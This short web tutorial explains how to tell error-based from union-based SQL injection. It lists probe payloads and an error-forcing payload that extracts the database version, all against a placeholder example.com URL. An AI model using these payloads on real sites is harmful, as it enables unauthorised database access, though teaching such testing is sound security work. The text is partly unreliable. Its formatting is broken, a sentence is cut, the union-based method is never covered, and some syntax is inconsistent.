To determine whether a SQL injection vulnerability is Error-based or Union-based, you need to analyze the application’s behavior and responses after injecting malicious input. Here’s how you can figure it out:
Start by injecting basic SQL payloads to see if the application is vulnerable.
Single quote ('
):
<http://example.com/products?id=1>'
Boolean conditions (e.g., OR 1=1
):
<http://example.com/products?id=1> OR 1=1
SQL comment (-
or #
):
<http://example.com/products?id=1>' --
You have an error in your SQL syntax
), it may be vulnerable to Error-based SQL Injection.Based on the application’s response, you can determine whether it’s Error-based or Union-based.
Input:
<http://example.com/products?id=1>'
Response:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
This indicates Error-based SQL Injection.
Inject payloads that force errors, such as:
<http://example.com/products?id=1>' AND 1=CAST((SELECT @@version) AS INT) --
If the error message contains the database version, it’s Error-based.